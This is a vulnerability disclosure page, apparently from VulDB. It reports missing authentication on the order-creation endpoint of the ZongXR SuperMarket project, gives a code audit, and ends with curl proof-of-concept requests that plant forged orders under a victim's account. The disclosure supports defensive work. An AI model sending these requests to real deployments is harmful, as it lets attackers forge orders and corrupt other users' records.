제출 #957824: ZongXR SuperMarket master Missing Authentication정보

제목ZongXR SuperMarket master Missing Authentication
설명# Summary The order creation endpoint in the Supermarket platform (master branch) contains a critical missing authentication vulnerability. The endpoint `POST /order/manage/save` accepts `userId` as a form field and creates orders under that user's identity without any session/ticket validation. This allows unauthenticated attackers to inject arbitrary "ghost orders" under any victim's name, polluting their order history, disrupting auditing/accounting, and interfering with downstream fulfillment workflows. **Note:** This is the only vulnerability among the three new findings that remains undisclosed (0-day) after thorough CVE/GHSA/GitHub issue verification. --- #Details The vulnerable endpoint passes the client-supplied `userId` and order details directly to the service layer without any authentication or ownership validation. The gateway configuration (`zuul-gateway/src/main/resources/application.properties`) does not include `/order/**` in the authentication check list (`custom.uri.check` or `custom.uri.forbidden`), making the order service externally reachable without credentials. The backend money validation (`CartService.getMoney`) itself uses the attacker-supplied `userId` to query the victim's shopping cart – meaning the "business validation" is fully compromised by the same attacker-controlled parameter. Verified with real Controller/Service/Mapper code, real frontend field set from `mycart.html`, and in-memory cart service replicating real `getMoney` logic. --- **Root Cause Analysis (Code Audit):** **1. Controller – No Authentication Check** ```java // OrderController.java @RequestMapping(value = "/manage/save", method = RequestMethod.POST) @ResponseBody public SysResult addOrder(Order order) { try { this.orderService.addOrder(order); return SysResult.ok(); } catch (MsgException e) { return SysResult.build(201, e.getMessage(), e); } } ``` The controller accepts the `Order` object (including `userId`) directly from the request body and passes it to the service layer without reading any session/ticket. **2. Service – No Ownership Validation, Uses Attacker-Controlled `userId` for Money Check** ```java // OrderServiceImpl.java addOrder L50-80 @Override public void addOrder(Order order) { order.setOrderId(UUID.randomUUID().toString()); order.setOrderTime(new Date()); // ATTACKER-CONTROLLED userId is passed to money validation Double money = this.cartService.getMoney(order.getUserId()); if (!money.equals(order.getOrderMoney())) { throw new MsgException("后端金额校验出错"); } this.orderDao.addOrderAndItem(order); } ``` **3. Cart Service – Money Validation Uses Attacker-Supplied `userId`** ```java // CartServiceImpl.java getMoney @Override public Double getMoney(String userId) { List<Cart> carts = this.cartDao.selectCart(new Cart(null, userId)); // ^-- userId from order form (attacker-controlled), not from session! double money = 0.0; for (Cart cart : carts) { money += cart.getNum() * cart.getProduct().getProductPrice(); } return money; } ``` The "business validation" (money check) is fully compromised because it queries the **victim's** shopping cart using the attacker-controlled `userId`, then validates against the attacker-supplied `orderMoney`. **4. Mapper – Inserts Order with Attacker-Controlled `userId`** ```xml <!-- OrderMapper.xml addOrderAndItem --> <insert id="addOrder" parameterType="com.supermarket.common.domain.Order"> insert into t_order (order_id, order_money, order_receiverinfo, order_paystate, order_time, user_id) values (#{orderId}, #{orderMoney}, #{orderReceiverinfo}, #{orderPaystate}, #{orderTime}, #{userId}) </insert> <insert id="addOrderItem"> insert into t_order_item (order_id, product_id, num, product_price, product_image, product_name) values (#{orderId}, #{productId}, #{num}, #{productPrice}, #{productImage}, #{productName}) </insert> ``` The entire call chain contains **no** session/ticket reading or ownership validation — `userId` comes entirely from the client and is used for: (a) money validation, (b) order insertion, and (c) querying the victim's shopping cart. **5. Gateway – Order Paths Not Protected** ```properties # zuul-gateway/src/main/resources/application.properties custom.uri.check={'/product/manage/save':'3','/product/manage/update':'3', '/user/query/userType':'3','/search/manage/add':'2','/search/manage/delete':'2'} custom.uri.forbidden=/product/manage/query,/cart/get/money ``` ```java // PermissionCheck.shouldFilter() return this.uriCheck.containsKey(uri) || this.uriForbidden.contains(uri); // /order/** returns false → no authentication filter applied ``` --- **Affected files:** - `order/src/main/java/com/supermarket/order/controller/OrderController.java` - `order/src/main/java/com/supermarket/order/service/impl/OrderServiceImpl.java` - `cart/src/main/java/com/supermarket/cart/service/impl/CartServiceImpl.java` - `order/src/main/resources/mappers/OrderMapper.xml` - `zuul-gateway/src/main/resources/application.properties` --- # POC ```bash # Baseline: victim-alice has 1 order (199.0, 2×p1001) curl -s http://127.0.0.1:8086/order/manage/query/victim-alice # -> [{"orderId":"victim-order-0001","orderMoney":199.0,...}] # Attack: inject ghost order under victim-alice (NO credentials, NO cookie, NO ticket) curl -s -X POST http://127.0.0.1:8086/order/manage/save \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "orderMoney=298.5&orderReceiverinfo=attacker+chosen&orderPaystate=0&userId=victim-alice&orderItems[0].productId=p1001&orderItems[0].num=3&orderItems[0].productPrice=99.5&orderItems[0].productImage=img&orderItems[0].productName=Super+Phone" # -> {"status":200,"msg":"ok","data":null} # Verify pollution: victim now has 2 orders (original + ghost) curl -s http://127.0.0.1:8086/order/manage/query/victim-alice # -> [original 199.0, ghost 298.5 with attacker-chosen receiver info] # Can be repeated indefinitely curl -s -X POST http://127.0.0.1:8086/order/manage/save ... (same parameters) # -> Another ghost order appears ```
원천⚠️ https://github.com/ZongXR/SuperMarket/issues/32
사용자
 360alphalab (UID 100924)
제출2026. 09. 03. AM 05:31 (28 날 ago)
모더레이션2026. 09. 30. PM 09:07 (28 days later)
상태수락
VulDB 항목412347 [ZongXR Supermarket 1.0.0.0 save Endpoint OrderController.java OrderController.addOrder userId 약한 인증]
포인트들20

Do you know our Splunk app?

Download it now for free!